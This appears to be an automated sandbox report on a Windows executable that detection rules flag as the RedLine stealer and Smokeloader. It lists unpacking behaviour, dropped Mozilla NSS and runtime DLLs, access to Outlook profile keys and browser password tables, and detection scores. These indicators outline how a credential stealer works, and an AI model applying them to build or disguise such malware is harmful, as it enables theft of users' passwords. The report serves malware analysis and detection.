Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD26CF0	1_2_6CD26CF0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCED4E0	1_2_6CCED4E0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCF6C80	1_2_6CCF6C80
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD434A0	1_2_6CD434A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD4C4A0	1_2_6CD4C4A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD5545C	1_2_6CD5545C
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCF5440	1_2_6CCF5440
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD25C10	1_2_6CD25C10
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD32C10	1_2_6CD32C10
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD5AC00	1_2_6CD5AC00
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD5542B	1_2_6CD5542B
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD20DD0	1_2_6CD20DD0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD485F0	1_2_6CD485F0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD0ED10	1_2_6CD0ED10
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD10512	1_2_6CD10512
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCFFD00	1_2_6CCFFD00
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD576E3	1_2_6CD576E3
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCEBEF0	1_2_6CCEBEF0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCFFEF0	1_2_6CCFFEF0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD05E90	1_2_6CD05E90
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD4E680	1_2_6CD4E680
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD44EA0	1_2_6CD44EA0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD09E50	1_2_6CD09E50
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD23E50	1_2_6CD23E50
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD04640	1_2_6CD04640
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD32E4E	1_2_6CD32E4E
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD56E63	1_2_6CD56E63
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCEC670	1_2_6CCEC670
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD27E10	1_2_6CD27E10
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD35600	1_2_6CD35600
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD49E30	1_2_6CD49E30
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD16FF0	1_2_6CD16FF0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCEDFE0	1_2_6CCEDFE0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD377A0	1_2_6CD377A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD27710	1_2_6CD27710
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCF9F00	1_2_6CCF9F00
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD550C7	1_2_6CD550C7
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD0C0E0	1_2_6CD0C0E0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD258E0	1_2_6CD258E0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD160A0	1_2_6CD160A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD08850	1_2_6CD08850
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD0D850	1_2_6CD0D850
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD2F070	1_2_6CD2F070
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCF7810	1_2_6CCF7810
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD2B820	1_2_6CD2B820
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD34820	1_2_6CD34820
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD25190	1_2_6CD25190
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD42990	1_2_6CD42990
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD1D9B0	1_2_6CD1D9B0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCEC9A0	1_2_6CCEC9A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD0A940	1_2_6CD0A940
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD3B970	1_2_6CD3B970
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD5B170	1_2_6CD5B170
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCFD960	1_2_6CCFD960
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD28AC0	1_2_6CD28AC0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD01AF0	1_2_6CD01AF0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD2E2F0	1_2_6CD2E2F0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD5BA90	1_2_6CD5BA90
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD52AB0	1_2_6CD52AB0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCE22A0	1_2_6CCE22A0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD14AA0	1_2_6CD14AA0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCFCAB0	1_2_6CCFCAB0
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD29A60	1_2_6CD29A60
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD553C8	1_2_6CD553C8
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CCEF380	1_2_6CCEF380

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: String function: 6CD1CBE8 appears 124 times
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: String function: 6CD294D0 appears 61 times

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 2128

Source: zVp8cG4riO.exe, 00000001.00000002.2603325011.0000000002D1B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs zVp8cG4riO.exe
Source: zVp8cG4riO.exe, 00000001.00000002.2626976265.000000006CF65000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs zVp8cG4riO.exe
Source: zVp8cG4riO.exe, 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs zVp8cG4riO.exe
Source: zVp8cG4riO.exe	Binary or memory string: OriginalFilenameFires0 vs zVp8cG4riO.exe

Source: zVp8cG4riO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000001.00000002.2604102727.0000000002F70000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/39@0/1

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_6CD47030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6CD47030

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00415D00

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5720

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ff7757d5-97c1-4212-a8d5-4b640816bbf7

Jump to behavior

Source: zVp8cG4riO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: zVp8cG4riO.exe, zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: zVp8cG4riO.exe, 00000001.00000003.2140926180.000000002353E000.00000004.00000020.00020000.00000000.sdmp, CFHDHIJDGCBAKFIEGHCB.1.dr, DAEGIIECGHCBFHJKEHDB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: zVp8cG4riO.exe, 00000001.00000002.2615159338.000000001D46D000.00000004.00000020.00020000.00000000.sdmp, zVp8cG4riO.exe, 00000001.00000002.2626018633.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: zVp8cG4riO.exe	ReversingLabs: Detection: 44%
Source: zVp8cG4riO.exe	Virustotal: Detection: 45%

Source: unknown	Process created: C:\Users\user\Desktop\zVp8cG4riO.exe "C:\Users\user\Desktop\zVp8cG4riO.exe"
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 2128

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: zVp8cG4riO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: zVp8cG4riO.exe, 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: zVp8cG4riO.exe, 00000001.00000002.2626815099.000000006CF1F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: x3C:\bob\kav-zuduxo\faholeya60\firumoxow\87\lupasuf\kojuvezi-jed.pdb source: zVp8cG4riO.exe
Source:	Binary string: mozglue.pdb source: zVp8cG4riO.exe, 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: C:\bob\kav-zuduxo\faholeya60\firumoxow\87\lupasuf\kojuvezi-jed.pdb source: zVp8cG4riO.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Unpacked PE file: 1.2.zVp8cG4riO.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Unpacked PE file: 1.2.zVp8cG4riO.exe.400000.0.unpack

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

Code function: 1_2_00416240 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00416240

Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_004176C5 push ecx; ret		1_2_004176D8
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	Code function: 1_2_6CD1B536 push ecx; ret		1_2_6CD1B549

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\zVp8cG4riO.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\zVp8cG4riO.exe

1_2_00416240

